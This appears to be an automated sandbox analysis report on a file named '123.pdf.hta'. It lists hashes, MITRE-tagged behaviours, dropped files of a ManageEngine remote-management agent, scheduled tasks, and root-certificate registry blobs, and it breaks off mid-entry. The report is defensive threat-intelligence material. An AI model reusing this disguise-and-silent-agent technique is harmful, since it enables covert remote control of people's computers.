28340f8b1204f8edf6f685f56b8c6254b336abc6c9007c14ce145dfc2cd3f640

Analysis

max time kernel
51s
max time network
147s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
26/08/2026, 00:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
123.pdf.hta
Size 149KB
Sample260826-ar39pabc84
SHA256 28340f8b1204f8edf6f685f56b8c6254b336abc6c9007c14ce145dfc2cd3f640
MD5 53416dabe3d6be143835206f061ba2b6
SHA1 7b59ccdc612859e9146c9fca6f6956fc3621111b
SHA512 d49bce02ce7912c75391d6c04299eecbb2bebdf19a7e5874343da0954daa8b04caf091b411c6dba5472d63ecb12e4cadb16a1e3023c74dc463ea7c6a0fa7bef3
SSDEEP 3072:tTj6EhUmYptXnKINW1EH2IwKURa/v6p6DFK5lwOjXuDF7k:tjpQTNW1+pF/H6pV5bWFw
TLSH
T1C0E31275E4EE65209EE6C22ED527CC27DEB2AD77A320344435483A4477FDD86CAA3409
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery execution spyware trojan

Malware Config

Signatures

Executes dropped EXE 24 IoCs

pid	Process
3668	dcagentregister.exe
1904	UEMSAgentHealthChecker.exe
5320	UEMSAgentHCHelper.exe
3556	UEMSAgentHCHelper.exe
4968	UEMSAgentHCHelper.exe
5460	7za.exe
6044	dcagentservice.exe
5084	7za.exe
3176	dcpatchscan.exe
5792	dcstatusutil.exe
1440	dcinventory.exe
3608	dcagentservice.exe
780	CRU_Reporter.exe
4512	dcusbsummary.exe
4528	dcconfig.exe
4296	dcusb64.exe
4992	dcstatusutil.exe
2148	dcondemand.exe
4636	dcswmeter.exe
2664	dcinventory.exe
4132	dcmetroapps.exe
2284	dcconfig.exe
1628	7za.exe
4940	7za.exe

Loads dropped DLL 64 IoCs

pid	Process
5936	MsiExec.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
6044	dcagentservice.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3176	dcpatchscan.exe
3176	dcpatchscan.exe
3176	dcpatchscan.exe
3176	dcpatchscan.exe
3176	dcpatchscan.exe
3176	dcpatchscan.exe
3176	dcpatchscan.exe
3176	dcpatchscan.exe
3176	dcpatchscan.exe
3668	dcagentregister.exe
3176	dcpatchscan.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3176	dcpatchscan.exe
3176	dcpatchscan.exe
3176	dcpatchscan.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3176	dcpatchscan.exe
3668	dcagentregister.exe
3176	dcpatchscan.exe
3176	dcpatchscan.exe
5792	dcstatusutil.exe
5792	dcstatusutil.exe
5792	dcstatusutil.exe
5792	dcstatusutil.exe
5792	dcstatusutil.exe
5792	dcstatusutil.exe

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1300	icacls.exe
3312	icacls.exe
1704	icacls.exe
2864	icacls.exe
2564	icacls.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\dclibxml2.dll	msiexec.exe
File created	C:\Windows\SysWOW64\dcagentlibxml2.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\logs\devicepatchaccess.log	dcagentregister.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\global-meta-data.xml	dcpatchscan.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentremofficehistory.log	dcconfig.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\messagebox_warning.png	msiexec.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentinstaller.log	dcagentregister.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\driverfiles.7z	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_ffffff_256x240.png	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcpatchdiffscan.log	dcconfig.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\devaction_user.log	dcconfig.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log	dcagentregister.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DMRootCA.crt	dcagentregister.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\mdmregistrationhandler_64.exe	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSMdmEnroll.exe	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\~test_240753781.tmp	dcagentregister.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\messagebox_info.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Alert.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\x-icon.gif	msiexec.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dc_msp_image.png	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\rdsrunasuser.exe	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHcComHelper.exe	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\usbeDevicelist.exe	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\vmdrUtils.dll	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-mc.xml	msiexec.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UIControls.dll	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log	dcinventory.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcerror.log	dcconfig.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\ecdatatransfer_access.log	dcinventory.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\hostondemandaccess.log	dcconfig.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log	dcpatchscan.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentservice.log	dcagentservice.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\remind.gif	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Find.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\~test_240760093.tmp	dcinventory.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentQPPMupgrade.log	dcconfig.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\WebrtcDLL.dll	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\drop_down_icon.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Refresh.png	msiexec.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcrdsagentwindow.exe.config	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_777620_256x240.png	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\selfserviceexe.exe	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\AgentApplicationResources.properties984.tmp	dcagentregister.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Btn_request.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dropdown.gif	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\installing-updates.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\mdmregistrationhandler.exe	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log	dcstatusutil.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcdriverupdates.dll	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DevExe32.exe.config	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_troubleshooting_tool.exe	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcuninstallsw.exe	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log	dcswmeter.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcfilteraccess.log	dcconfig.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\minimize_button.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dc_cad.exe	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dpinst86.exe	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\ManageEngine Self Service Portal.lnk	dcagentregister.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log	dcpatchscan.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentaccess.log	dcconfig.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DevExe32.exe.config	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcnacprocess.exe	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dctoolshardware.exe	7za.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMS_Agent_CommonUtilDll.dll	7za.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcPrivateKeys.log	dcconfig.exe

Drops file in Windows directory 23 IoCs

description	ioc	Process
File created	C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\DCAgentServerInfo.json	dcagentregister.exe
File created	C:\Windows\Tasks\DCAgentUpdater.job	dcagentregister.exe
File created	C:\Windows\Installer\e5922ba.msi	msiexec.exe
File created	C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\UEMSAgent.mst	msiexec.exe
File opened for modification	C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\UEMSAgent.mst	msiexec.exe
File created	C:\Windows\SystemTemp\~DF5AF0FF0E15201DE4.TMP	msiexec.exe
File created	C:\Windows\Installer\e5922b1.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\e5922b2.mst	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF637E7D4A9D143BD9.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB6D5.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF4A5350D024063F69.TMP	msiexec.exe
File created	C:\Windows\Installer\e5922b2.mst	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2CE2.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF4388DDFF812A57A3.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}	msiexec.exe
File opened for modification	C:\Windows\Tasks\DCAgentUpdater.job	dcagentregister.exe
File created	C:\Windows\Tasks\UEMSLogCollector.job	dcagentregister.exe
File opened for modification	C:\Windows\Tasks\UEMSLogCollector.job	dcagentregister.exe
File opened for modification	C:\Windows\Installer\e5922b1.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI336B.tmp	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 9 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4728	cmd.exe
2660	cmd.exe
5176	cmd.exe
3140	cmd.exe
2464	cmd.exe
3280	cmd.exe
4540	cmd.exe
5760	cmd.exe
4980	cmd.exe

Modifies trusted root certificate store through registry 1 TTPs 10 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8096DA182333FED188E09EA3A0DAC2DCDA93F0A7\Blob = 0f0000000100000020000000eb70eeb87155b9bae67525ed29cc95b7bf8ce89f084133d2fe51c9041afcf31d0300000001000000140000008096da182333fed188e09ea3a0dac2dcda93f0a72000000001000000f0030000308203ec308202d4a0030201020208172469ebda8330b6300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303732383133333933385a180f32303531303732383133333933385a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b7ffa62b17f44e461b00ff58d72826c8e78ab62b3e9581d8bef2e5a5f3c6a3e2f997cd00d9180d17189f68a8b151acbd6ab022ab6864f3c4d9a72eca4c7d599990166c7eff5b093d125b8557a5f11fae187d7a9795f433e95ef6ae9ea7e40c41fc01ef94aa5a3202a0f123e43752c837b0df88351522c59a6efb2d3ea6a778bb612bc29b4c4f17d66091ebf8d5a8dd1925f1007464e1c72f5bf5aebc75cbd87007a7b0ad62d2aa7bc6e5d45e73195df8738d6b4c1b576ef8fef97f0366a59e7d4dcf913f4110474e90149cf9e550952e6d373a0c991f5ab8a8b69a3215e721f04bdd91f267581c760d65a4a5e2d7778b27e38d966ab6b96be70aacaba9c86e8b0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414e1f1a443d422bcbc3b86859506b8fa1ef434f77c301f0603551d23041830168014e1f1a443d422bcbc3b86859506b8fa1ef434f77c300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100ac57911e9d450349b5e323f5fbd6cbc25107406087f252bb21db0a36814a3946d5b0402c66e8afef09b301fdc69d80458c168dd0bad4919af98b586abf80a89bbf11cc1185f599905d87ba4eba28dc246d0723ad4e7a243c6c4689a3645290fdd581f407b263c64f52219aa27c9ef87ae2d97acac7ea15611ca3a30fa019aa26602f0553a10c4c5f057262510d12e58148f0136935207fb295b4e038f0a1693318e45fe4b37de9352f2b695e660e71b9bfff5c2fc89601a73ace7776509dd0213b5dab32478de0217da63a5526299bb353b9b87f9b2651cbdeb338b078e89b8d9feebc3452d24a7e202ab6c71934b184c8fd98fa0bc18025214d27913bf1f216	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\E1397AB0B33AA131CE4114981474D387B1532A37\Blob = 140000000100000014000000c389dd4dedf823547314fcf0689457d63161c7a3030000000100000014000000e1397ab0b33aa131ce4114981474d387b1532a370f00000001000000200000009edf3a3e9dd48e21dc1f0c02f6964daa330ba93be23e55a716a6916f16deed812000000001000000d8030000308203d4308202bca00302010202086d358c4d4cd1e55e300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303732383133333933375a180f32303531303732383133333933375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100a0e168b5165b877b9f1aa5b4f592349e799bbe5bbaa5526c26aafc7e7a8026968fab75ccbce8fe5361356e35dc7f84b87f5cefa6ccc88cbf994244beaddc1504b988fe2fd2ca4d1473cf2154b9bb3bd18794fd1df9f916ded5ce460cba15fff23baceb1815d3b209e2ac5bd2b4f73d3a6893bcca1a66e20037e05f5c6d828185ec5c89fabd1260ea7f8738797835b77f3e4a6cfcbd9a37410d445859728ad50746fa9eb3f92d29d342d868b93b6e24d54ff62f9696f37023643d470b6e4083f614dee5b2e29aa8396a83140a639a31f3dd653bd2fea47b7fd9ebc56ef57a8f682e82c4e54a40749bd775eaaa01053e1282819cf75981488c6ac4bbd57a6826e90203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414c389dd4dedf823547314fcf0689457d63161c7a3301f0603551d23041830168014c389dd4dedf823547314fcf0689457d63161c7a3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010003f9180a72abaa0d631e7d24393461171bcfc5433732f3eec716ffd99cfede73254a3f79019702a347e9c0e29eca2ab9c985aac0611e1f6c3c0149c3ec70e5cb8d382d5fefb5876a783364bd29c16b92abd0780307b339acc208db927a903634c2a31cb70067e90e39d76f09c0df19c1597f35ed25dbf3d7aa1e628d87af46a19318ddb049501f4d30f86f29dbc1c8ff29e702fa06cb78458bae166bcb908224abacba116f4d15e886f12ae710bee3851e03cfd5a886566f0b5b4e2f61a878f9be77a23d89f9fa0c3b2d1fb965782b82fa77666c7c1ffb46f8ffde94a8ab381916183f8ded569619de857e9bc740eae48aa973e4d122212c3e7e8adf4cef33a4	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8096DA182333FED188E09EA3A0DAC2DCDA93F0A7\Blob = 140000000100000014000000e1f1a443d422bcbc3b86859506b8fa1ef434f77c0300000001000000140000008096da182333fed188e09ea3a0dac2dcda93f0a70f0000000100000020000000eb70eeb87155b9bae67525ed29cc95b7bf8ce89f084133d2fe51c9041afcf31d2000000001000000f0030000308203ec308202d4a0030201020208172469ebda8330b6300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303732383133333933385a180f32303531303732383133333933385a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b7ffa62b17f44e461b00ff58d72826c8e78ab62b3e9581d8bef2e5a5f3c6a3e2f997cd00d9180d17189f68a8b151acbd6ab022ab6864f3c4d9a72eca4c7d599990166c7eff5b093d125b8557a5f11fae187d7a9795f433e95ef6ae9ea7e40c41fc01ef94aa5a3202a0f123e43752c837b0df88351522c59a6efb2d3ea6a778bb612bc29b4c4f17d66091ebf8d5a8dd1925f1007464e1c72f5bf5aebc75cbd87007a7b0ad62d2aa7bc6e5d45e73195df8738d6b4c1b576ef8fef97f0366a59e7d4dcf913f4110474e90149cf9e550952e6d373a0c991f5ab8a8b69a3215e721f04bdd91f267581c760d65a4a5e2d7778b27e38d966ab6b96be70aacaba9c86e8b0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414e1f1a443d422bcbc3b86859506b8fa1ef434f77c301f0603551d23041830168014e1f1a443d422bcbc3b86859506b8fa1ef434f77c300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100ac57911e9d450349b5e323f5fbd6cbc25107406087f252bb21db0a36814a3946d5b0402c66e8afef09b301fdc69d80458c168dd0bad4919af98b586abf80a89bbf11cc1185f599905d87ba4eba28dc246d0723ad4e7a243c6c4689a3645290fdd581f407b263c64f52219aa27c9ef87ae2d97acac7ea15611ca3a30fa019aa26602f0553a10c4c5f057262510d12e58148f0136935207fb295b4e038f0a1693318e45fe4b37de9352f2b695e660e71b9bfff5c2fc89601a73ace7776509dd0213b5dab32478de0217da63a5526299bb353b9b87f9b2651cbdeb338b078e89b8d9feebc3452d24a7e202ab6c71934b184c8fd98fa0bc18025214d27913bf1f216	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\E1397AB0B33AA131CE4114981474D387B1532A37\Blob = 1900000001000000100000004d04dc5b02db0b7a193cd4936d8ccd6b0f00000001000000200000009edf3a3e9dd48e21dc1f0c02f6964daa330ba93be23e55a716a6916f16deed81030000000100000014000000e1397ab0b33aa131ce4114981474d387b1532a37140000000100000014000000c389dd4dedf823547314fcf0689457d63161c7a32000000001000000d8030000308203d4308202bca00302010202086d358c4d4cd1e55e300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303732383133333933375a180f32303531303732383133333933375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100a0e168b5165b877b9f1aa5b4f592349e799bbe5bbaa5526c26aafc7e7a8026968fab75ccbce8fe5361356e35dc7f84b87f5cefa6ccc88cbf994244beaddc1504b988fe2fd2ca4d1473cf2154b9bb3bd18794fd1df9f916ded5ce460cba15fff23baceb1815d3b209e2ac5bd2b4f73d3a6893bcca1a66e20037e05f5c6d828185ec5c89fabd1260ea7f8738797835b77f3e4a6cfcbd9a37410d445859728ad50746fa9eb3f92d29d342d868b93b6e24d54ff62f9696f37023643d470b6e4083f614dee5b2e29aa8396a83140a639a31f3dd653bd2fea47b7fd9ebc56ef57a8f682e82c4e54a40749bd775eaaa01053e1282819cf75981488c6ac4bbd57a6826e90203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414c389dd4dedf823547314fcf0689457d63161c7a3301f0603551d23041830168014c389dd4dedf823547314fcf0689457d63161c7a3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010003f9180a72abaa0d631e7d24393461171bcfc5433732f3eec716ffd99cfede73254a3f79019702a347e9c0e29eca2ab9c985aac0611e1f6c3c0149c3ec70e5cb8d382d5fefb5876a783364bd29c16b92abd0780307b339acc208db927a903634c2a31cb70067e90e39d76f09c0df19c1597f35ed25dbf3d7aa1e628d87af46a19318ddb049501f4d30f86f29dbc1c8ff29e702fa06cb78458bae166bcb908224abacba116f4d15e886f12ae710bee3851e03cfd5a886566f0b5b4e2f61a878f9be77a23d89f9fa0c3b2d1fb965782b82fa77666c7c1ffb46f8ffde94a8ab381916183f8ded569619de857e9bc740eae48aa973e4d122212c3e7e8adf4cef33a4	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\E1397AB0B33AA131CE4114981474D387B1532A37\Blob = 6b000000010000002000000080fe6bf607a9da3e711406394cb12c8fe21caf7e56a9a1e4cec08faca9c09203140000000100000014000000c389dd4dedf823547314fcf0689457d63161c7a3030000000100000014000000e1397ab0b33aa131ce4114981474d387b1532a370f00000001000000200000009edf3a3e9dd48e21dc1f0c02f6964daa330ba93be23e55a716a6916f16deed811900000001000000100000004d04dc5b02db0b7a193cd4936d8ccd6b5c0000000100000004000000000800002000000001000000d8030000308203d4308202bca00302010202086d358c4d4cd1e55e300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303732383133333933375a180f32303531303732383133333933375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100a0e168b5165b877b9f1aa5b4f592349e799bbe5bbaa5526c26aafc7e7a8026968fab75ccbce8fe5361356e35dc7f84b87f5cefa6ccc88cbf994244beaddc1504b988fe2fd2ca4d1473cf2154b9bb3bd18794fd1df9f916ded5ce460cba15fff23baceb1815d3b209e2ac5bd2b4f73d3a6893bcca1a66e20037e05f5c6d828185ec5c89fabd1260ea7f8738797835b77f3e4a6cfcbd9a37410d445859728ad50746fa9eb3f92d29d342d868b93b6e24d54ff62f9696f37023643d470b6e4083f614dee5b2e29aa8396a83140a639a31f3dd653bd2fea47b7fd9ebc56ef57a8f682e82c4e54a40749bd775eaaa01053e1282819cf75981488c6ac4bbd57a6826e90203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414c389dd4dedf823547314fcf0689457d63161c7a3301f0603551d23041830168014c389dd4dedf823547314fcf0689457d63161c7a3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010003f9180a72abaa0d631e7d24393461171bcfc5433732f3eec716ffd99cfede73254a3f79019702a347e9c0e29eca2ab9c985aac0611e1f6c3c0149c3ec70e5cb8d382d5fefb5876a783364bd29c16b92abd0780307b339acc208db927a903634c2a31cb70067e90e39d76f09c0df19c1597f35ed25dbf3d7aa1e628d87af46a19318ddb049501f4d30f86f29dbc1c8ff29e702fa06cb78458bae166bcb908224abacba116f4d15e886f12ae710bee3851e03cfd5a886566f0b5b4e2f61a878f9be77a23d89f9fa0c3b2d1fb965782b82fa77666c7c1ffb46f8ffde94a8ab381916183f8ded569619de857e9bc740eae48aa973e4d122212c3e7e8adf4cef33a4	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\E1397AB0B33AA131CE4114981474D387B1532A37\Blob = 